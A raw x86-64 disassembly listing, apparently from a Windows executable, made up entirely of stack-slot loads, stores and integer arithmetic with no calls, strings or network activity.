movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [0x1401144e0]
movzx eax, word [rax]
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x30e0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x58b0]
shl rax, cl
mov qword [rsp + 0x7c00], rax
lea rax, [rsp + 0x2e90]
mov qword [rsp + 0x8718], rax
mov rax, qword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x8688]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5730]
mov qword [rcx], rax
lea rax, [rsp + 0xd1]
mov qword [rsp + 0x8720], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x51e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113052], al
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac0]
add eax, ecx
mov word [rsp + 0xe7c], ax
mov rax, qword [rsp + 0x7d18]
movzx eax, word [rax]
movzx ecx, word [0x1401130b4]
sub eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc3c]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd84]
sub eax, ecx
mov word [rsp + 0xb30], ax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x8728], rax
mov rax, qword [rsp + 0x6cb8]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e94], eax
mov rax, qword [rsp + 0x7058]
mov rcx, qword [rsp + 0x8360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7e48]
mov qword [rcx], rax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0x8730], rax
movzx eax, word [rsp + 0x840]
mov word [0x140114940], ax
mov rax, qword [rsp + 0x8710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5360]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ab]
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x6718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x178]
add eax, ecx
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x19f]
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x6a28]
mov rcx, qword [rsp + 0x7018]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e60]
mov rcx, qword [rsp + 0x77b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7560]
mov qword [rcx], rax
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x8738], rax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x85b0]
sar rax, cl
mov qword [rsp + 0x51b0], rax
mov rax, qword [0x140114180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc80]
shl eax, cl
mov rcx, qword [0x1401148d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d00]
movzx eax, byte [rax]
mov byte [rsp + 0x1df], al
movsx eax, word [rsp + 0x9e4]
movsx ecx, word [rsp + 0xc38]
or eax, ecx
mov word [rsp + 0xa30], ax
mov rax, qword [rsp + 0x85b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ae]
add eax, ecx
mov rcx, qword [rsp + 0x5b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x6530]
movzx eax, word [rax]
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x79f0]
mov rcx, qword [rsp + 0x50f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0x70b0]
mov qword [rsp + 0x8740], rax
mov rax, qword [rsp + 0x54b0]
mov ecx, dword [rsp + 0x2c04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b24], eax
mov eax, dword [rsp + 0x3078]
mov ecx, dword [rsp + 0x2ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140114400], ax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x7928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x874]
add eax, ecx
mov rcx, qword [rsp + 0x5130]
mov word [rcx], ax
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x1e1], al
movsx eax, word [rsp + 0xd28]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x56b8]
mov ecx, dword [rsp + 0x2bc8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x76d8]
mov dword [rcx], eax
lea rax, [rsp + 0x6e28]
mov qword [rsp + 0x8748], rax
mov rax, qword [rsp + 0x6210]
mov ecx, dword [rsp + 0x3138]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c50]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x8750], rax
lea rax, [rsp + 0xce0]
mov qword [0x140114948], rax
mov rax, qword [rsp + 0x6640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
add eax, ecx
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x5b80]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x8018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xecc]
add eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x7330]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f]
shl eax, cl
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x7248]
mov qword [rsp + 0x8758], rax
mov rax, qword [rsp + 0x5010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76e0]
mov qword [rsp + 0x8760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8760]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c74]
mov dword [rsp + 0x31f0], eax
mov rax, qword [rsp + 0x79d0]
mov ecx, dword [rsp + 0x2b64]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e58], eax
movsx eax, byte [rsp + 0x1a8]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401130be], al
movzx eax, word [rsp + 0xe1c]
movzx ecx, word [rsp + 0xaf0]
and eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [0x1401146c8]
movzx eax, word [rax]
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7678]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8150]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6838]
mov word [rcx], ax
mov rax, qword [rsp + 0x63a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
mov rax, qword [rsp + 0x7bb8]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6db0], rax
mov rax, qword [rsp + 0x8248]
mov rcx, qword [rsp + 0x7888]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ca8], eax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov qword [rsp + 0x8768], rax
mov rax, qword [rsp + 0x5da0]
mov rcx, qword [rsp + 0x56f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x313c], eax
movsx eax, word [rsp + 0xe9c]
movsx ecx, word [rsp + 0x9e8]
sub eax, ecx
mov word [0x140113158], ax
movzx eax, word [rsp + 0xb8c]
mov word [rsp + 0xfac], ax
movsx eax, byte [rsp + 0x13f]
movsx ecx, byte [0x14011303b]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0xc2]
mov qword [rsp + 0x8770], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xa24]
sub eax, ecx
mov word [rsp + 0xa38], ax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x6b30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7948]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c88]
mov dword [rsp + 0x31f4], eax
mov rax, qword [rsp + 0x5f10]
mov rcx, qword [rsp + 0x77b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6858], rax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
mov dword [rsp + 0x31f8], eax
movzx eax, word [rsp + 0x984]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [0x140114228]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x5cd8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6108]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9a4], ax
lea rax, [rsp + 0x18c]
mov qword [rsp + 0x8778], rax
movsx eax, byte [rsp + 0x130]
mov rcx, qword [rsp + 0x7460]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x7030]
mov eax, dword [rax]
mov dword [rsp + 0x31fc], eax
mov rax, qword [rsp + 0x5eb0]
mov rcx, qword [rsp + 0x7980]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x82f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e08], rax
mov eax, dword [rsp + 0x2c34]
mov dword [rsp + 0x3200], eax
movzx eax, word [rsp + 0xa8c]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa64], ax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x6e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130bf], al
lea rax, [rsp + 0x9f]
mov qword [rsp + 0x8780], rax
mov rax, qword [rsp + 0x5258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7270]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5e20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x140]
mov rcx, qword [0x1401146f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0x63f8]
mov qword [rsp + 0x8788], rax
mov rax, qword [rsp + 0x5a40]
mov rcx, qword [rsp + 0x7ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x73f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7698]
mov eax, dword [rax]
mov dword [rsp + 0x3204], eax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x77b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x84b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xedc]
mov word [rsp + 0xfb0], ax
movzx eax, byte [rsp + 0xbf]
mov rcx, qword [0x140114488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130c2], al
movsx eax, word [rsp + 0xc94]
movsx ecx, word [rsp + 0xfa8]
sar eax, cl
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
movzx eax, word [rsp + 0x8f8]
movzx ecx, word [rsp + 0xa50]
xor eax, ecx
mov word [rsp + 0xcbc], ax
lea rax, [0x14011306a]
mov qword [rsp + 0x8790], rax
mov rax, qword [rsp + 0x6730]
mov rcx, qword [rsp + 0x8628]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x6008]
mov eax, dword [rax]
mov dword [rsp + 0x3208], eax
mov rax, qword [rsp + 0x7058]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5410]
shl rax, cl
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x55d8]
mov ecx, dword [rsp + 0x2d34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3058], eax
lea rax, [rsp + 0xc80]
mov qword [rsp + 0x8798], rax
mov rax, qword [rsp + 0x5890]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [0x140114568]
mov byte [rcx], al
movsx eax, word [rsp + 0x9e8]
mov rcx, qword [rsp + 0x8560]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x6548]
movzx eax, word [rax]
mov word [rsp + 0xfb4], ax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x143]
add eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x7b38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ab8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6238], rax
lea rax, [rsp + 0x2e00]
mov qword [rsp + 0x87a0], rax
mov eax, dword [rsp + 0x2f34]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ef4], eax
lea rax, [rsp + 0x73e8]
mov qword [rsp + 0x87a8], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8368]
mov byte [rcx], al
movzx eax, word [0x140113144]
mov rcx, qword [rsp + 0x6408]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114900]
mov word [rcx], ax
movzx eax, word [rsp + 0xe68]
mov word [rsp + 0xfb8], ax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x102]
sub eax, ecx
mov rcx, qword [rsp + 0x69b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xff], al
lea rax, [rsp + 0x145]
mov qword [rsp + 0x87b0], rax
mov eax, dword [rsp + 0x2f7c]
mov ecx, dword [rsp + 0x2e88]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a70]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x87b8], rax
mov rax, qword [rsp + 0x82d0]
movzx ecx, al
mov rax, qword [rsp + 0x84a8]
shl rax, cl
mov qword [rsp + 0x80e0], rax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2da4]
shr eax, cl
mov dword [rsp + 0x2d44], eax
lea rax, [rsp + 0x19d]
mov qword [0x140114950], rax
movzx eax, word [rsp + 0xadc]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f28]
mov word [rcx], ax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x87c0], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x7968]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x7ce0]
mov rax, qword [rax]
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x7dc0]
mov rcx, qword [rsp + 0x5e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a70]
mov dword [rcx], eax
lea rax, [rsp + 0x3120]
mov qword [rsp + 0x87d0], rax
movsx eax, word [rsp + 0xd2c]
mov rcx, qword [0x140114448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113094], ax
movzx eax, word [rsp + 0xbac]
mov rcx, qword [rsp + 0x77e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x72d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7428]
movsx eax, word [rax]
mov rcx, qword [0x1401141b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x978], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x87d8], rax
mov rax, qword [rsp + 0x58e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x58d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d8], al
mov rax, qword [rsp + 0x7de0]
mov qword [rsp + 0x87e0], rax
mov rax, qword [rsp + 0x58d8]
mov rcx, qword [rsp + 0x8740]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6e60], rax
lea rax, [rsp + 0x3140]
mov qword [rsp + 0x87e8], rax
mov eax, dword [rsp + 0x2e80]
mov ecx, dword [rsp + 0x2bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3054], eax
mov rax, qword [0x140114458]
movzx eax, word [rax]
mov word [0x140114958], ax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x7580]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x143]
or eax, ecx
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x55c0]
movzx eax, word [rax]
mov word [rsp + 0xfc0], ax
mov rax, qword [rsp + 0x76e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56d0]
shr rax, cl
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x5d38]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6288], rax
mov eax, dword [rsp + 0x2fbc]
mov dword [rsp + 0x320c], eax
mov rax, qword [rsp + 0x6618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ef0], eax
movsx eax, byte [0x140113093]
mov rcx, qword [rsp + 0x5c30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114320]
mov byte [rcx], al
mov rax, qword [rsp + 0x5338]
movzx eax, word [rax]
mov word [rsp + 0xfc4], ax
mov rax, qword [rsp + 0x6c30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x174]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [0x140114888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x988]
sub eax, ecx
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0x87f0], rax
mov rax, qword [rsp + 0x5330]
mov ecx, dword [rsp + 0x2c54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56d8]
mov qword [rsp + 0x87f8], rax
mov eax, dword [rsp + 0x2ea0]
mov ecx, dword [rsp + 0x2bd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fa8], eax
mov rax, qword [rsp + 0x7fa8]
mov rcx, qword [rsp + 0x52e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5290], rax
movzx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x7610]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.X_bNq], ax
movzx eax, byte [rsp + 0x1b8]
mov byte [rsp + 0x1e5], al
movzx eax, byte [rsp + 0x93]
mov rcx, qword [0x140114378]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8598]
mov byte [rcx], al
lea rax, [rsp + 0xad8]
mov qword [rsp + 0x8800], rax
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cb0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x161], al
mov eax, dword [rsp + 0x2dcc]
mov dword [rsp + 0x3210], eax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x5930]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2cd0]
shl eax, cl
mov rcx, qword [rsp + 0x7f80]
mov dword [rcx], eax
lea rax, [rsp + 0x7868]
mov qword [rsp + 0x8808], rax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0xbd4]
or eax, ecx
mov word [0x140113094], ax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5f18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x145], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x8810], rax
movsx eax, word [rsp + 0xf80]
movsx ecx, word [rsp + 0xd2c]
add eax, ecx
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x5dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x928]
add eax, ecx
mov rcx, qword [rsp + 0x5598]
mov word [rcx], ax
mov rax, qword [rsp + 0x5570]
mov eax, dword [rax]
mov dword [rsp + 0x3214], eax
mov rax, qword [rsp + 0x5bc8]
mov rcx, qword [rsp + 0x6100]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7a60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x82d0]
mov qword [rsp + 0x8818], rax
mov rax, qword [rsp + 0x75c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5df8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, [rsp + 0x7d]
mov qword [0x140114960], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x8270]
movzx eax, word [rax]
mov word [rsp + 0xfc8], ax
movsx eax, byte [0x1401130ab]
mov rcx, qword [rsp + 0x5be0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fc8]
mov byte [rcx], al
lea rax, [rsp + 0x3d]
mov qword [rsp + 0x8820], rax
mov rax, qword [rsp + 0x78e0]
mov rcx, qword [rsp + 0x6a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5498], rax
lea rax, [0x140114160]
mov qword [rsp + 0x8828], rax
mov rax, qword [rsp + 0x6618]
mov rcx, qword [rsp + 0x5140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x310c]
mov ecx, dword [rsp + 0x2df0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e4c], eax
lea rax, [rsp + 0xb38]
mov qword [rsp + 0x8830], rax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8368]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401141a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7810]
movzx eax, byte [rax]
mov rcx, qword [0x140114650]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov word [rsp + 0xfcc], ax
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x5a40]
mov rcx, qword [rsp + 0x5728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f58], eax
mov rax, qword [rsp + 0x5958]
mov eax, dword [rax]
mov dword [rsp + 0x3218], eax
mov rax, qword [rsp + 0x53e8]
mov rcx, qword [rsp + 0x70b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b78]
mov rax, qword [rax]
mov qword [rsp + 0x8838], rax
mov rax, qword [0x140114530]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9b0], ax
lea rax, [rsp + 0x17a]
mov qword [0x140114968], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [rsp + 0x1a1], al
mov rax, qword [rsp + 0x4f28]
movzx eax, word [rax]
mov word [rsp + 0xfd0], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
lea rax, [rsp + 0x2d84]
mov qword [rsp + 0x8840], rax
mov rax, qword [rsp + 0x8020]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56d0], rax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x4fc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6958]
mov qword [rcx], rax
lea rax, [rsp + 0x2f68]
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x5940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba0]
sub eax, ecx
mov word [rsp + 0x994], ax
movzx eax, byte [rsp + 0x1bb]
movzx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [0x1401130c3], al
lea rax, [rsp + 0xf10]
mov qword [rsp + 0x8850], rax
mov rax, qword [0x1401144e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xad0]
add eax, ecx
mov word [rsp + 0xcf4], ax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x8858], rax
mov rax, qword [rsp + 0x7770]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8618]
mov ecx, dword [rsp + 0x2da4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7d58]
mov qword [rsp + 0x8860], rax
mov rax, qword [rsp + 0x5b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3110], eax
lea rax, [rsp + 0x187]
mov qword [rsp + 0x8868], rax
movsx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x73a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401130c8], ax
movzx eax, word [rsp + 0xa0c]
mov rcx, qword [0x140114548]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9f8], ax
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1da]
sar eax, cl
mov rcx, qword [rsp + 0x71e8]
mov byte [rcx], al
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x8870], rax
mov rax, qword [rsp + 0x6c20]
movsx eax, byte [rax]
mov rcx, qword [0x140114438]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x5650]
mov qword [rsp + 0x8878], rax
mov rax, qword [rsp + 0x7908]
mov rcx, qword [rsp + 0x80a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x80f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x303c]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov qword [rsp + 0x8880], rax
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov rcx, qword [0x1401142c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf24]
movsx ecx, word [rsp + 0xc90]
add eax, ecx
mov word [rsp + 0x95c], ax
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x8888], rax
